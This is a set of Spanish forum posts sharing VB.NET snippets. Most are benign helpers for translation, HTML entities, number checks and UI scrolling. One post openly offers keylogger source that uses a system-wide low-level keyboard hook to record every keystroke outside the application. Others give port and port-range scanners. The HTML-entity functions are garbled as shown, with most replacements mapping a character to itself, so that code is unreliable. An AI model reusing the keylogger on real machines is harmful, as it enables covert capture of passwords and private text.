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9122
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Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)
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en: 2 Junio 2013, 17:53 pm
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LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX: Escanear un puerto abierto #Region " Port Scan " ' [ Port Scan Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Port_Scan("84.126.113.10", 80)) ' MsgBox(Port_Scan("84.126.113.10", 80, Net.Sockets.ProtocolType.Udp)) Private Function Port_Scan(ByVal IP As String, ByVal Port As Int32, _ Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp) As Boolean Dim Open As Boolean Try Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _ System.Net.Sockets.SocketType.Stream, Type) socket.Connect(IP, Port) Open = socket.Connected socket.Disconnect(False) Return Open Catch ex As Exception MsgBox(ex.Message) ' Return False End Try End Function #End Region
Escanear un rango de puertos #Region " Port Range Scan " ' [ Port Range Scan Function ] ' ' // By Elektro H@cker ' ' Examples : ' For Each Open_Port In Port_Range_Scan("84.126.113.10, 1, 5000) : MsgBox(Open_Port) : Next Private Function Port_Range_Scan(ByVal IP As String, ByVal Port_Start As Int32, ByVal Port_End As Int32, _ Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp _ ) As List(Of String) Dim Open_Ports_List As New List(Of String) Try For Port As Int32 = Port_Start To Port_End Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _ System.Net.Sockets.SocketType.Stream, Type) socket.Connect(IP, Port) If socket.Connected Then Open_Ports_List.Add(Port) socket.Disconnect(False) Next Port Return Open_Ports_List Catch ex As Exception MsgBox(ex.Message) Return Nothing End Try End Function #End Region
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9124
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Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)
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en: 2 Junio 2013, 15:56 pm
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Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger. La idea la tuve de un code que vi de Kub0x Esta es la parte que me he currado yo: #Region " KeyLogger " Public WithEvents KeysHook As New KeyboardHook Dim Auto_Backspace_Key As Boolean = True Dim Auto_Enter_Key As Boolean = True Dim Auto_Tab_Key As Boolean = True Dim No_F_Keys As Boolean = False Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown Select Case Control.ModifierKeys Case 393216 ' Alt-GR + Key Select Case Key Case Keys.D1 : Key_Listener("|") Case Keys.D2 : Key_Listener("@") Case Keys.D3 : Key_Listener("#") Case Keys.D4 : Key_Listener("~") Case Keys.D5 : Key_Listener("€") Case Keys.D6 : Key_Listener("¬") Case Keys.E : Key_Listener("€") Case Keys.Oem1 : Key_Listener("[") Case Keys.Oem5 : Key_Listener("\") Case Keys.Oem7 : Key_Listener("{") Case Keys.Oemplus : Key_Listener("]") Case Keys.OemQuestion : Key_Listener("}") Case Else : Key_Listener("") End Select Case 65536 ' LShift/RShift + Key Select Case Key Case Keys.D0 : Key_Listener("=") Case Keys.D1 : Key_Listener("!") Case Keys.D2 : Key_Listener("""") Case Keys.D3 : Key_Listener("·") Case Keys.D4 : Key_Listener("$") Case Keys.D5 : Key_Listener("%") Case Keys.D6 : Key_Listener("&") Case Keys.D7 : Key_Listener("/") Case Keys.D8 : Key_Listener("(") Case Keys.D9 : Key_Listener(")") Case Keys.Oem1 : Key_Listener("^") Case Keys.Oem5 : Key_Listener("ª") Case Keys.Oem6 : Key_Listener("¿") Case Keys.Oem7 : Key_Listener("¨") Case Keys.OemBackslash : Key_Listener(">") Case Keys.Oemcomma : Key_Listener(";") Case Keys.OemMinus : Key_Listener("_") Case Keys.OemOpenBrackets : Key_Listener("?") Case Keys.OemPeriod : Key_Listener(":") Case Keys.Oemplus : Key_Listener("*") Case Keys.OemQuestion : Key_Listener("Ç") Case Keys.Oemtilde : Key_Listener("Ñ") Case Else : Key_Listener("") End Select Case Else If Key.ToString.Length = 1 Then ' Single alpha key If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then Key_Listener(Key.ToString.ToUpper) Else Key_Listener(Key.ToString.ToLower) End If Else Select Case Key ' Single special key Case Keys.Add : Key_Listener("+") Case Keys.Back : Key_Listener("{BackSpace}") Case Keys.D0 : Key_Listener("0") Case Keys.D1 : Key_Listener("1") Case Keys.D2 : Key_Listener("2") Case Keys.D3 : Key_Listener("3") Case Keys.D4 : Key_Listener("4") Case Keys.D5 : Key_Listener("5") Case Keys.D6 : Key_Listener("6") Case Keys.D7 : Key_Listener("7") Case Keys.D8 : Key_Listener("8") Case Keys.D9 : Key_Listener("9") Case Keys.Decimal : Key_Listener(".") Case Keys.Delete : Key_Listener("{Supr}") Case Keys.Divide : Key_Listener("/") Case Keys.End : Key_Listener("{End}") Case Keys.Enter : Key_Listener("{Enter}") Case Keys.F1 : Key_Listener("{F1}") Case Keys.F10 : Key_Listener("{F10}") Case Keys.F11 : Key_Listener("{F11}") Case Keys.F12 : Key_Listener("{F12}") Case Keys.F2 : Key_Listener("{F2}") Case Keys.F3 : Key_Listener("{F3}") Case Keys.F4 : Key_Listener("{F4}") Case Keys.F5 : Key_Listener("{F5}") Case Keys.F6 : Key_Listener("{F6}") Case Keys.F7 : Key_Listener("{F7}") Case Keys.F8 : Key_Listener("{F8}") Case Keys.F9 : Key_Listener("{F9}") Case Keys.Home : Key_Listener("{Home}") Case Keys.Insert : Key_Listener("{Insert}") Case Keys.Multiply : Key_Listener("*") Case Keys.NumPad0 : Key_Listener("0") Case Keys.NumPad1 : Key_Listener("1") Case Keys.NumPad2 : Key_Listener("2") Case Keys.NumPad3 : Key_Listener("3") Case Keys.NumPad4 : Key_Listener("4") Case Keys.NumPad5 : Key_Listener("5") Case Keys.NumPad6 : Key_Listener("6") Case Keys.NumPad7 : Key_Listener("7") Case Keys.NumPad8 : Key_Listener("8") Case Keys.NumPad9 : Key_Listener("9") Case Keys.Oem1 : Key_Listener("`") Case Keys.Oem5 : Key_Listener("º") Case Keys.Oem6 : Key_Listener("¡") Case Keys.Oem7 : Key_Listener("´") Case Keys.OemBackslash : Key_Listener("<") Case Keys.Oemcomma : Key_Listener(",") Case Keys.OemMinus : Key_Listener(".") Case Keys.OemOpenBrackets : Key_Listener("'") Case Keys.OemPeriod : Key_Listener("-") Case Keys.Oemplus : Key_Listener("+") Case Keys.OemQuestion : Key_Listener("ç") Case Keys.Oemtilde : Key_Listener("ñ") Case Keys.PageDown : Key_Listener("{AvPag}") Case Keys.PageUp : Key_Listener("{RePag}") Case Keys.Space : Key_Listener(" ") Case Keys.Subtract : Key_Listener("-") Case Keys.Tab : Key_Listener("{Tabulation}") Case Else : Key_Listener("") End Select End If End Select End Sub Public Sub Key_Listener(ByVal key As String) If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1) ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line RichTextBox1.Text += ControlChars.NewLine ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation RichTextBox1.Text += ControlChars.Tab ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys Else ' Print the character RichTextBox1.Text += key End If End Sub #End Region
Y esta es la class del Hook: Imports System.Runtime.InteropServices Public Class KeyboardHook <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _ Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer End Function <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _ Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer End Function <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _ Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean End Function <StructLayout(LayoutKind.Sequential)> _ Private Structure KBDLLHOOKSTRUCT Public vkCode As UInt32 Public scanCode As UInt32 Public flags As KBDLLHOOKSTRUCTFlags Public time As UInt32 Public dwExtraInfo As UIntPtr End Structure <Flags()> _ Private Enum KBDLLHOOKSTRUCTFlags As UInt32 LLKHF_EXTENDED = &H1 LLKHF_INJECTED = &H10 LLKHF_ALTDOWN = &H20 LLKHF_UP = &H80 End Enum Public Shared Event KeyDown(ByVal Key As Keys) Public Shared Event KeyUp(ByVal Key As Keys) Private Const WH_KEYBOARD_LL As Integer = 13 Private Const HC_ACTION As Integer = 0 Private Const WM_KEYDOWN = &H100 Private Const WM_KEYUP = &H101 Private Const WM_SYSKEYDOWN = &H104 Private Const WM_SYSKEYUP = &H105 Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc) Private HHookID As IntPtr = IntPtr.Zero Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer If (nCode = HC_ACTION) Then Dim struct As KBDLLHOOKSTRUCT Select Case wParam Case WM_KEYDOWN, WM_SYSKEYDOWN RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys)) Case WM_KEYUP, WM_SYSKEYUP RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys)) End Select End If Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam) End Function Public Sub New() HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0) If HHookID = IntPtr.Zero Then Throw New Exception("Could not set keyboard hook") End If End Sub Protected Overrides Sub Finalize() If Not HHookID = IntPtr.Zero Then UnhookWindowsHookEx(HHookID) End If MyBase.Finalize() End Sub End Class
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9125
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Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)
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en: 2 Junio 2013, 08:21 am
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Usar Google Translate sin comprar la API de pago xD #Region " Google Translate " ' [ Google Translate Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es)) ' Result: Hola mundo ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde Public Enum GoogleTranslate_Languages auto ' Detectar idioma af ' afrikáans ar ' árabe az ' azerí be ' bielorruso bg ' búlgaro bn ' bengalí; bangla bs ' bosnio ca ' catalán ceb ' cebuano cs ' checo cy ' galés da ' danés de ' alemán el ' griego en ' inglés eo ' esperanto es ' español et ' estonio eu ' euskera fa ' persa fi ' finlandés fr ' francés ga ' irlandés gl ' gallego gu ' gujarati hi ' hindi hmn ' Hmong hr ' croata ht ' criollo haitiano hu ' húngaro hy ' armenio id ' indonesio it ' italiano iw ' hebreo ja ' japonés jw ' javanés ka ' georgiano km ' Jemer kn ' canarés ko ' coreano la ' latín lo ' lao lt ' lituano lv ' letón mk ' macedonio mr ' maratí ms ' malayo mt ' maltés nl ' holandés no ' noruego pl ' polaco pt ' portugués ro ' rumano ru ' ruso sk ' eslovaco sl ' esloveno sq ' albanés sr ' serbio sv ' sueco sw ' suajili ta ' tamil te ' telugu th ' tailandés tl ' tagalo tr ' turco uk ' ucraniano ur ' urdu vi ' vietnamita yi ' yidis zh_CN ' chino End Enum Public Function Google_Translate(ByVal Input As String, _ ByVal From_Language As GoogleTranslate_Languages, _ ByVal To_Language As GoogleTranslate_Languages) As String Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN Dim webClient As New System.Net.WebClient Dim str = webClient.DownloadString( _ "http://translate.google.com/translate_a/t?client=t&text=" & Input & _ "&sl=" & Formatted_From_Language & _ "&tl=" & Formatted_To_Language & "") Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First) End Function #End Region
Extra:-> [BATCH] GTC (Google Translate Console)
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9126
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Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)
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en: 2 Junio 2013, 08:19 am
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Un simple método Get: #Region " Get Method " ' [ Get Method Function ] ' ' Examples : ' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0] Public Function Get_Method(ByVal URL As String) As String Dim webClient As New System.Net.WebClient Return webClient.DownloadString(URL) End Function #End Region
Convierte un string a entidades html: #Region " String To Html Entities " ' [ String To Html Escaped Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&gle.com Private Function String_To_Html_Entities(ByVal str As String) As String str = str.Replace("&", "&") ' Keep this character to be always the first replaced. str = str.Replace(ControlChars.Quote, """) str = str.Replace(" ", " ") str = str.Replace("<", "<") str = str.Replace(">", ">") str = str.Replace("¡", "¡") str = str.Replace("¢", "¢") str = str.Replace("£", "£") str = str.Replace("¤", "¤") str = str.Replace("¥", "¥") str = str.Replace("¦", "¦") str = str.Replace("§", "§") str = str.Replace("¨", "¨") str = str.Replace("©", "©") str = str.Replace("ª", "ª") str = str.Replace("¬", "¬") str = str.Replace("®", "®") str = str.Replace("¯", "¯") str = str.Replace("°", "°") str = str.Replace("±", "±") str = str.Replace("²", "²") str = str.Replace("³", "³") str = str.Replace("´", "´") str = str.Replace("µ", "µ") str = str.Replace("¶", "¶") str = str.Replace("·", "·") str = str.Replace("¸", "¸") str = str.Replace("¹", "¹") str = str.Replace("º", "º") str = str.Replace("»", "»") str = str.Replace("¼", "¼") str = str.Replace("½", "½") str = str.Replace("¾", "¾") str = str.Replace("¿", "¿") str = str.Replace("×", "×") str = str.Replace("ß", "ß") str = str.Replace("À", "À") str = str.Replace("à", "à") str = str.Replace("Á", "Á") str = str.Replace("á", "á") str = str.Replace("", "Â") str = str.Replace("â", "â") str = str.Replace("Ã", "Ã") str = str.Replace("ã", "ã") str = str.Replace("Ä", "Ä") str = str.Replace("ä", "ä") str = str.Replace("Å", "Å") str = str.Replace("å", "å") str = str.Replace("Æ", "Æ") str = str.Replace("æ", "æ") str = str.Replace("ç", "ç") str = str.Replace("Ç", "Ç") str = str.Replace("È", "È") str = str.Replace("è", "è") str = str.Replace("É", "É") str = str.Replace("é", "é") str = str.Replace("Ê", "Ê") str = str.Replace("ê", "ê") str = str.Replace("Ë", "Ë") str = str.Replace("ë", "ë") str = str.Replace("Ì", "Ì") str = str.Replace("ì", "ì") str = str.Replace("Í", "Í") str = str.Replace("í", "í") str = str.Replace("Î", "Î") str = str.Replace("î", "î") str = str.Replace("Ï", "Ï") str = str.Replace("ï", "ï") str = str.Replace("Ð", "Ð") str = str.Replace("ð", "ð") str = str.Replace("ñ", "ñ") str = str.Replace("Ñ", "Ñ") str = str.Replace("Ò", "Ò") str = str.Replace("ò", "ò") str = str.Replace("Ó", "Ó") str = str.Replace("ó", "ó") str = str.Replace("Ô", "Ô") str = str.Replace("ô", "ô") str = str.Replace("Õ", "Õ") str = str.Replace("õ", "õ") str = str.Replace("Ö", "Ö") str = str.Replace("ö", "ö") str = str.Replace("÷", "÷") str = str.Replace("Ø", "Ø") str = str.Replace("ø", "ø") str = str.Replace("Ù", "Ù") str = str.Replace("ù", "ù") str = str.Replace("Ú", "Ú") str = str.Replace("ú", "ú") str = str.Replace("Û", "Û") str = str.Replace("û", "û") str = str.Replace("Ü", "Ü") str = str.Replace("ü", "ü") str = str.Replace("Ý", "Ý") str = str.Replace("ý", "ý") str = str.Replace("Þ", "Þ") str = str.Replace("þ", "þ") str = str.Replace("€", "€") Return str End Function #End Region
Convierte un string a entidades html codificadas: #Region " String To Html Escaped Entities " ' [ String To Html Escaped Entities Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: &#77;&#101;&#64;&#71;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109; Public Function String_To_Html_Escaped_Entities(str As String) As String Dim sb As New System.Text.StringBuilder(str.Length * 6) For Each c As Char In str : sb.Append("&#").Append(CType(AscW(c), UShort)).Append(";"c) : Next Return sb.ToString() End Function #End Region
Decodifica un string que contenga entidades HTML #Region " Html Entities To String " ' [ Html Entities To String Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Html_Entities_To_String("www.Goo&gle.com")) ' Result: Goo&gle.com Private Function Html_Entities_To_String(ByVal str As String) As String str = str.Replace(""", ControlChars.Quote) str = str.Replace("&", "&") str = str.Replace(" ", "") str = str.Replace("<", "<") str = str.Replace(">", ">") str = str.Replace("¡", "¡") str = str.Replace("¢", "¢") str = str.Replace("£", "£") str = str.Replace("¤", "¤") str = str.Replace("¥", "¥") str = str.Replace("¦", "¦") str = str.Replace("§", "§") str = str.Replace("¨", "¨") str = str.Replace("©", "©") str = str.Replace("ª", "ª") str = str.Replace("¬", "¬") str = str.Replace("®", "®") str = str.Replace("¯", "¯") str = str.Replace("°", "°") str = str.Replace("±", "±") str = str.Replace("²", "²") str = str.Replace("³", "³") str = str.Replace("´", "´") str = str.Replace("µ", "µ") str = str.Replace("¶", "¶") str = str.Replace("·", "·") str = str.Replace("¸", "¸") str = str.Replace("¹", "¹") str = str.Replace("º", "º") str = str.Replace("»", "»") str = str.Replace("¼", "¼") str = str.Replace("½", "½") str = str.Replace("¾", "¾") str = str.Replace("¿", "¿") str = str.Replace("×", "×") str = str.Replace("ß", "ß") str = str.Replace("À", "À") str = str.Replace("à", "à") str = str.Replace("Á", "Á") str = str.Replace("á", "á") str = str.Replace("Â", "") str = str.Replace("â", "â") str = str.Replace("Ã", "Ã") str = str.Replace("ã", "ã") str = str.Replace("Ä", "Ä") str = str.Replace("ä", "ä") str = str.Replace("Å", "Å") str = str.Replace("å", "å") str = str.Replace("Æ", "Æ") str = str.Replace("æ", "æ") str = str.Replace("ç", "ç") str = str.Replace("Ç", "Ç") str = str.Replace("È", "È") str = str.Replace("è", "è") str = str.Replace("É", "É") str = str.Replace("é", "é") str = str.Replace("Ê", "Ê") str = str.Replace("ê", "ê") str = str.Replace("Ë", "Ë") str = str.Replace("ë", "ë") str = str.Replace("Ì", "Ì") str = str.Replace("ì", "ì") str = str.Replace("Í", "Í") str = str.Replace("í", "í") str = str.Replace("Î", "Î") str = str.Replace("î", "î") str = str.Replace("Ï", "Ï") str = str.Replace("ï", "ï") str = str.Replace("Ð", "Ð") str = str.Replace("ð", "ð") str = str.Replace("ñ", "ñ") str = str.Replace("Ñ", "Ñ") str = str.Replace("Ò", "Ò") str = str.Replace("ò", "ò") str = str.Replace("Ó", "Ó") str = str.Replace("ó", "ó") str = str.Replace("Ô", "Ô") str = str.Replace("ô", "ô") str = str.Replace("Õ", "Õ") str = str.Replace("õ", "õ") str = str.Replace("Ö", "Ö") str = str.Replace("ö", "ö") str = str.Replace("÷", "÷") str = str.Replace("Ø", "Ø") str = str.Replace("ø", "ø") str = str.Replace("Ù", "Ù") str = str.Replace("ù", "ù") str = str.Replace("Ú", "Ú") str = str.Replace("ú", "ú") str = str.Replace("Û", "Û") str = str.Replace("û", "û") str = str.Replace("Ü", "Ü") str = str.Replace("ü", "ü") str = str.Replace("Ý", "Ý") str = str.Replace("ý", "ý") str = str.Replace("Þ", "Þ") str = str.Replace("þ", "þ") str = str.Replace("€", "€") Return str End Function #End Region
Decodifica un string codificado en HTML Escaped Entities #Region " Html Escaped Entities To String " ' [ Html Escaped Entities To String Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Html_Escaped_Entities_To_String("&#77;&#101;&#64;&#71;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;")) ' Result: Me@Gmail.com Public Function Html_Escaped_Entities_To_String(str As String) As String Dim sb As New System.Text.StringBuilder(str.Length) str = str.Replace("&#", "") Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try Return sb.ToString() End Function #End Region
Comprueba si un numero es multiplo de otro #Region " Number Is Multiple? " ' [ Number Is Multiple? Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True ' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean Return (Number Mod Multiple = 0) End Function #End Region
Comprueba si un numero es divisible por otro #Region " Number Is Divisible? " ' [ Number Is Divisible? Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True ' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean Return (Number Mod Divisible = 0) End Function #End Region
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9128
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Programación / .NET (C#, VB.NET, ASP) / Re: Cambiar valores a los controles desde un Listbox
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en: 1 Junio 2013, 21:51 pm
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1. Crea una variable numérica de tipo Long que contiendrá ms (por poner un ejemplo) 2. En el select case del ejemplo aumentas o disminuyes el valor de la variable como quieras, cada "case" es para cada uno de los items. Case 0 : ms +=5 Case 1 : ms +=10 Case 2 : ms +=15 Esa es la parte donde más cuidado has de tener. 3. Por último modificas el intervalo del timer por los ms que contiene la variable que contiene la variable que hemos creado. slaudos!
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9129
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Programación / .NET (C#, VB.NET, ASP) / Re: Cambiar valores a los controles desde un Listbox
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en: 1 Junio 2013, 21:42 pm
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Pues yo no lo entiendo, porque lo que defines como propiedades no son propiedades, la pregunta es bastante confusa, de todas formas te hice un ejemplo: Básicamente debes comprobar el índice del item que está seleccionado en el listbox, hay un evento que maneja eso, y ahí ya haces lo que desees... Public Class Form1 Dim Items() As String = {"Time 1", "Time 2", "Time 3"} Dim WithEvents ListaTime1 As New ListBox, ListaTime2 As New ListBox Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load For Each item In Items : ListaTime1.Items.Add(item) : ListaTime2.Items.Add(item) : Next Me.Controls.Add(ListaTime1) : Me.Controls.Add(ListaTime2) ListaTime1.Dock = DockStyle.Left : ListaTime2.Dock = DockStyle.Right Me.Size = New Point(280, 100) End Sub Private Sub Listas_SelectedIndexChanged(sender As Object, e As EventArgs) Handles _ ListaTime1.SelectedIndexChanged, _ ListaTime2.SelectedIndexChanged Select Case sender.SelectedIndex Case 0 : MsgBox(sender.SelectedItem) Case 1 : MsgBox(sender.SelectedItem) Case 2 : MsgBox(sender.SelectedItem) Case Else End Select End Sub End Class
Salu2
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9130
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Programación / .NET (C#, VB.NET, ASP) / Re: Scroll de Imagenes?
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en: 1 Junio 2013, 17:53 pm
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Ahora que leo ese último comentario, se me olvidó pasarte el form del video xD: Añade en el form: 1 un panel y métele pictureboxes 1 botón para scrollear hacia arriba 1 botón apra scrollear hacia abajo Public Class Form1 Dim Scroll_Position As Int32 = 0 Dim Button_Down_Is_Pressed As Boolean = False Dim Button_Up_Is_Pressed As Boolean = False Dim WithEvents Progressive_Scroll_Timer As New Timer Dim SmallChange As Int32 = 5 Dim Largechange As Int32 = 10 ' Sub which reduces the Flickering, but this sub makes x20 times slower any operation of any Form/Application. Protected Overrides ReadOnly Property CreateParams() As CreateParams Get Dim cp As CreateParams = MyBase.CreateParams cp.ExStyle = cp.ExStyle Or &H2000000 Return cp End Get End Property 'CreateParams Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Me.ResumeLayout(False) Panel1.ResumeLayout(False) Panel1.VerticalScroll.Maximum = 999999999 Progressive_Scroll_Timer.Interval = 50 Panel1.BackColor = Color.FromArgb(150, 0, 0, 0) End Sub Private Sub Panel_MouseHover(sender As Object, e As EventArgs) Handles Panel1.MouseHover sender.focus() End Sub Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Progressive_Scroll_Timer.Tick If Button_Down_Is_Pressed Then Scroll_Down(SmallChange) ElseIf Button_Up_Is_Pressed Then Scroll_Up(SmallChange) Else sender.stop() End If End Sub Private Sub Scroll_Up(ByVal Change As Int32) Scroll_Position -= Change Try : Panel1.VerticalScroll.Value = Scroll_Position : Catch : Scroll_Position += Change : End Try End Sub Private Sub Scroll_Down(ByVal Change As Int32) Scroll_Position += Change Try : Panel1.VerticalScroll.Value = Scroll_Position : Catch : Scroll_Position -= Change : End Try End Sub Private Sub Button_Down_MouseDown(sender As Object, e As MouseEventArgs) Handles Button2.MouseDown If e.Button = Windows.Forms.MouseButtons.Left Then Button_Down_Is_Pressed = True Progressive_Scroll_Timer.Start() End If End Sub Private Sub Button_Up_MouseDown(sender As Object, e As MouseEventArgs) Handles Button1.MouseDown If e.Button = Windows.Forms.MouseButtons.Left Then Button_Up_Is_Pressed = True Progressive_Scroll_Timer.Start() End If End Sub Private Sub Button_Down_MouseUp(sender As Object, e As MouseEventArgs) Handles Button2.MouseUp Button_Down_Is_Pressed = False End Sub Private Sub Button_Up_MouseUp(sender As Object, e As MouseEventArgs) Handles Button1.MouseUp Button_Up_Is_Pressed = False End Sub Private Sub Form_MouseWheel(ByVal sender As Object, ByVal e As MouseEventArgs) Handles Panel1.MouseWheel If Panel1.Focused Then Select Case Math.Sign(e.Delta) Case Is > 0 : Scroll_Up(Largechange) Case Is < 0 : Scroll_Down(Largechange) End Select End If End Sub End Class
salu2
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